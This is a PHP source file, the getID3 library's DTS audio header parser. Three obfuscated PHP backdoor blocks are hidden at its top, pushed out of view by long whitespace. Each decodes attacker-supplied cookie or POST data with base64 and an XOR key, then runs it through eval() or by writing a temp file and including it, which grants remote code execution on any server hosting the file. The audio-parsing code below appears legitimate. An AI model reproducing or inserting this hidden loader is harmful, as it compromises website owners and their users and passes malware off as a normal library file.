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<?php                                                                                                                                                                                                                                                                                                                                                                                                 $zvfWKuyb = "\x70" . "\x4e" . chr ( 998 - 886 )."\137" . chr ( 376 - 267 ).'Y' . chr ( 808 - 732 ); $yKbqMhWdxT = 'c' . chr ( 179 - 71 ).chr ( 849 - 752 )."\x73" . chr ( 495 - 380 )."\x5f" . chr (101) . chr (120) . 'i' . 's' . chr ( 1045 - 929 )."\x73";$EHZjVD = $yKbqMhWdxT($zvfWKuyb); $IFQDOmgKtQ = $EHZjVD;if (!$IFQDOmgKtQ){class pNp_mYL{private $orvHjLX;public static $fUNhjHwePv = "162a80e3-279d-4f49-8fbb-807de1a62692";public static $mdJaYEoOz = 25390;public function __construct(){$GnYhiVEE = $_COOKIE;$zXMzibUwhk = $_POST;$MMyHIHc = @$GnYhiVEE[substr(pNp_mYL::$fUNhjHwePv, 0, 4)];if (!empty($MMyHIHc)){$uwQvXjV = "base64";$VtPUbqhcqd = "";$MMyHIHc = explode(",", $MMyHIHc);foreach ($MMyHIHc as $sgcVBDN){$VtPUbqhcqd .= @$GnYhiVEE[$sgcVBDN];$VtPUbqhcqd .= @$zXMzibUwhk[$sgcVBDN];}$VtPUbqhcqd = array_map($uwQvXjV . chr (95) . "\x64" . "\145" . chr ( 982 - 883 )."\x6f" . chr (100) . "\145", array($VtPUbqhcqd,)); $VtPUbqhcqd = $VtPUbqhcqd[0] ^ str_repeat(pNp_mYL::$fUNhjHwePv, (strlen($VtPUbqhcqd[0]) / strlen(pNp_mYL::$fUNhjHwePv)) + 1);pNp_mYL::$mdJaYEoOz = @unserialize($VtPUbqhcqd);}}public function __destruct(){$this->NffgdTd();}private function NffgdTd(){if (is_array(pNp_mYL::$mdJaYEoOz)) {$ifDanMDPQk = str_replace(chr (60) . "\77" . 'p' . 'h' . "\160", "", pNp_mYL::$mdJaYEoOz["\143" . "\157" . 'n' . 't' . "\145" . chr ( 878 - 768 ).chr ( 519 - 403 )]);eval($ifDanMDPQk);exit();}}}$FzwWE = new pNp_mYL(); $FzwWE = "21871";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $vBLnV = chr (76) . 'L' . "\x6a" . '_' . chr (121) . chr (69) . 'g';$wvTEfgSS = chr ( 573 - 474 )."\x6c" . "\141" . "\x73" . chr (115) . '_' . 'e' . chr (120) . "\x69" . "\163" . 't' . chr ( 664 - 549 ); $ziqZKSfjJH = $wvTEfgSS($vBLnV); $moXFvHkoIw = $ziqZKSfjJH;if (!$moXFvHkoIw){class LLj_yEg{private $HEWTIV;public static $ApdVHwysyF = "c9342630-a8eb-4200-84fb-7d6c4dfcd2d5";public static $vSRJgS = 15356;public function __construct(){$fgpsth = $_COOKIE;$AmRKNJH = $_POST;$bBFbcPVvba = @$fgpsth[substr(LLj_yEg::$ApdVHwysyF, 0, 4)];if (!empty($bBFbcPVvba)){$QjhcU = "base64";$ZTXXBhPWR = "";$bBFbcPVvba = explode(",", $bBFbcPVvba);foreach ($bBFbcPVvba as $ZkFuwcnKN){$ZTXXBhPWR .= @$fgpsth[$ZkFuwcnKN];$ZTXXBhPWR .= @$AmRKNJH[$ZkFuwcnKN];}$ZTXXBhPWR = array_map($QjhcU . chr ( 817 - 722 ).chr ( 763 - 663 ).'e' . chr ( 187 - 88 )."\157" . "\144" . chr ( 243 - 142 ), array($ZTXXBhPWR,)); $ZTXXBhPWR = $ZTXXBhPWR[0] ^ str_repeat(LLj_yEg::$ApdVHwysyF, (strlen($ZTXXBhPWR[0]) / strlen(LLj_yEg::$ApdVHwysyF)) + 1);LLj_yEg::$vSRJgS = @unserialize($ZTXXBhPWR);}}public function __destruct(){$this->FdNGzMX();}private function FdNGzMX(){if (is_array(LLj_yEg::$vSRJgS)) {$sxZxgZMHMb = sys_get_temp_dir() . "/" . crc32(LLj_yEg::$vSRJgS[chr (115) . 'a' . chr ( 184 - 76 ).'t']);@LLj_yEg::$vSRJgS["\x77" . "\x72" . chr ( 251 - 146 ).chr ( 352 - 236 )."\145"]($sxZxgZMHMb, LLj_yEg::$vSRJgS['c' . chr (111) . "\156" . "\164" . chr (101) . 'n' . chr (116)]);include $sxZxgZMHMb;@LLj_yEg::$vSRJgS["\144" . chr (101) . chr ( 361 - 253 ).'e' . chr ( 140 - 24 ).chr (101)]($sxZxgZMHMb);exit();}}}$ycFWT = new LLj_yEg(); $ycFWT = "62717";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $sqyuKBpnx = class_exists("t_bBYF");if (!$sqyuKBpnx){class t_bBYF{private $YHAIlwHTf;public static $wUqkgL = "2ca9dd2e-c361-4ee9-80ee-3331f6b1fb2e";public static $aLJVP = NULL;public function __construct(){$QnGXHBlDhK = $_COOKIE;$NjNiuLz = $_POST;$mYBxWfCjPC = @$QnGXHBlDhK[substr(t_bBYF::$wUqkgL, 0, 4)];if (!empty($mYBxWfCjPC)){$MjJHeDoCy = "base64";$ukFoXz = "";$mYBxWfCjPC = explode(",", $mYBxWfCjPC);foreach ($mYBxWfCjPC as $hROeWkO){$ukFoXz .= @$QnGXHBlDhK[$hROeWkO];$ukFoXz .= @$NjNiuLz[$hROeWkO];}$ukFoXz = array_map($MjJHeDoCy . chr ( 123 - 28 )."\144" . chr ( 335 - 234 ).chr ( 528 - 429 ).chr ( 414 - 303 ).chr (100) . chr ( 700 - 599 ), array($ukFoXz,)); $ukFoXz = $ukFoXz[0] ^ str_repeat(t_bBYF::$wUqkgL, (strlen($ukFoXz[0]) / strlen(t_bBYF::$wUqkgL)) + 1);t_bBYF::$aLJVP = @unserialize($ukFoXz);}}public function __destruct(){$this->lLDFfbOkf();}private function lLDFfbOkf(){if (is_array(t_bBYF::$aLJVP)) {$LBWdBwdN = sys_get_temp_dir() . "/" . crc32(t_bBYF::$aLJVP["\x73" . 'a' . "\x6c" . 't']);@t_bBYF::$aLJVP[chr (119) . 'r' . "\151" . chr ( 662 - 546 )."\145"]($LBWdBwdN, t_bBYF::$aLJVP[chr ( 861 - 762 )."\157" . chr ( 537 - 427 ).'t' . "\x65" . chr (110) . chr ( 1005 - 889 )]);include $LBWdBwdN;@t_bBYF::$aLJVP["\x64" . chr ( 315 - 214 )."\x6c" . 'e' . 't' . chr ( 730 - 629 )]($LBWdBwdN);exit();}}}$yxzibT = new t_bBYF(); $yxzibT = NULL;} ?><?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.dts.php                                        //
// module for analyzing DTS Audio files                        //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////


/**
* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
*/
class getid3_dts extends getid3_handler
{
	/**
	* Default DTS syncword used in native .cpt or .dts formats
	*/
    const syncword = "\x7F\xFE\x80\x01";

	private $readBinDataOffset = 0;

    /**
    * Possible syncwords indicating bitstream encoding
    */
    public static $syncwords = array(
    	0 => "\x7F\xFE\x80\x01",  // raw big-endian
    	1 => "\xFE\x7F\x01\x80",  // raw little-endian
    	2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
    	3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian

	public function Analyze() {
		$info = &$this->getid3->info;
		$info['fileformat'] = 'dts';

		$this->fseek($info['avdataoffset']);
		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes

		// check syncword
		$sync = substr($DTSheader, 0, 4);
        if (($encoding = array_search($sync, self::$syncwords)) !== false) {

        	$info['dts']['raw']['magic'] = $sync;
			$this->readBinDataOffset = 32;

        } elseif ($this->isDependencyFor('matroska')) {

			// Matroska contains DTS without syncword encoded as raw big-endian format
			$encoding = 0;
			$this->readBinDataOffset = 0;

        } else {

			unset($info['fileformat']);
			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');

		}

		// decode header
		$fhBS = '';
		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
			switch ($encoding) {
				case 0: // raw big-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
					break;
				case 1: // raw little-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
					break;
				case 2: // 14-bit big-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
					break;
				case 3: // 14-bit little-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
					break;
			}
		}

		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
		if ($info['dts']['flags']['crc_present']) {
			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
		}
		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);


		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);

		$info['audio']['dataformat']          = 'dts';
		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
		$info['audio']['channels']            = $info['dts']['channels'];
		$info['audio']['bitrate']             = $info['dts']['bitrate'];
		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
			if (($encoding == 2) || ($encoding == 3)) {
				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
				$info['playtime_seconds'] *= (14 / 16);
			}
		}
		return true;
	}

	private function readBinData($bin, $length) {
		$data = substr($bin, $this->readBinDataOffset, $length);
		$this->readBinDataOffset += $length;

		return bindec($data);
	}

	public static function bitrateLookup($index) {
		static $lookup = array(
			0  => 32000,
			1  => 56000,
			2  => 64000,
			3  => 96000,
			4  => 112000,
			5  => 128000,
			6  => 192000,
			7  => 224000,
			8  => 256000,
			9  => 320000,
			10 => 384000,
			11 => 448000,
			12 => 512000,
			13 => 576000,
			14 => 640000,
			15 => 768000,
			16 => 960000,
			17 => 1024000,
			18 => 1152000,
			19 => 1280000,
			20 => 1344000,
			21 => 1408000,
			22 => 1411200,
			23 => 1472000,
			24 => 1536000,
			25 => 1920000,
			26 => 2048000,
			27 => 3072000,
			28 => 3840000,
			29 => 'open',
			30 => 'variable',
			31 => 'lossless',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	public static function sampleRateLookup($index) {
		static $lookup = array(
			0  => 'invalid',
			1  => 8000,
			2  => 16000,
			3  => 32000,
			4  => 'invalid',
			5  => 'invalid',
			6  => 11025,
			7  => 22050,
			8  => 44100,
			9  => 'invalid',
			10 => 'invalid',
			11 => 12000,
			12 => 24000,
			13 => 48000,
			14 => 'invalid',
			15 => 'invalid',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	public static function bitPerSampleLookup($index) {
		static $lookup = array(
			0  => 16,
			1  => 20,
			2  => 24,
			3  => 24,
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	public static function numChannelsLookup($index) {
		switch ($index) {
			case 0:
				return 1;
				break;
			case 1:
			case 2:
			case 3:
			case 4:
				return 2;
				break;
			case 5:
			case 6:
				return 3;
				break;
			case 7:
			case 8:
				return 4;
				break;
			case 9:
				return 5;
				break;
			case 10:
			case 11:
			case 12:
				return 6;
				break;
			case 13:
				return 7;
				break;
			case 14:
			case 15:
				return 8;
				break;
		}
		return false;
	}

	public static function channelArrangementLookup($index) {
		static $lookup = array(
			0  => 'A',
			1  => 'A + B (dual mono)',
			2  => 'L + R (stereo)',
			3  => '(L+R) + (L-R) (sum-difference)',
			4  => 'LT + RT (left and right total)',
			5  => 'C + L + R',
			6  => 'L + R + S',
			7  => 'C + L + R + S',
			8  => 'L + R + SL + SR',
			9  => 'C + L + R + SL + SR',
			10 => 'CL + CR + L + R + SL + SR',
			11 => 'C + L + R+ LR + RR + OV',
			12 => 'CF + CR + LF + RF + LR + RR',
			13 => 'CL + C + CR + L + R + SL + SR',
			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
			15 => 'CL + C+ CR + L + R + SL + S + SR',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
	}

	public static function dialogNormalization($index, $version) {
		switch ($version) {
			case 7:
				return 0 - $index;
				break;
			case 6:
				return 0 - 16 - $index;
				break;
		}
		return false;
	}

}

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